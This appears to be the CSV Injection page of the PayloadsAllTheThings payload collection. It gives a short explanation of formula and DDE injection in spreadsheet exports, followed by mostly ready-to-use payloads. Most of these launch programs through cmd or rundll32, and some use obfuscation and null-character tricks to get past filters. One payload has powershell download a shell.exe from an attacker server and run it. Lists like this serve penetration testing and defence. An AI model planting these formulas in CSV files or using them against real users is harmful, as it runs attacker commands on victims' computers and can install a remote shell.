PayloadsAllTheThings/CSV Injection
2024-11-04 18:00:07 +01:00
..
README.md References updated for CORS CRLF CSV 2024-11-04 18:00:07 +01:00

CSV Injection

Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.

Exploit

Basic exploits with Dynamic Data Exchange.

Payload: pop a calc

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0

Payload: pop a notepad

=cmd|' /C notepad'!'A1'

Payload: powershell download and execute

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

Payload: Prefix obfuscation and command chaining

=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
=         cmd|'/c calc.exe'!A

Payload: Using rundll32 instead of cmd

=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A

Payload: Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.

=    C    m D                    |        '/        c       c  al  c      .  e                  x       e  '   !   A

Technical details of the above payloads:

  • cmd is the name the server can respond to whenever a client is trying to access the server
  • /C calc is the file name which in our case is the calc(i.e the calc.exe)
  • !A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data

Any formula can be started with

=
+

@

References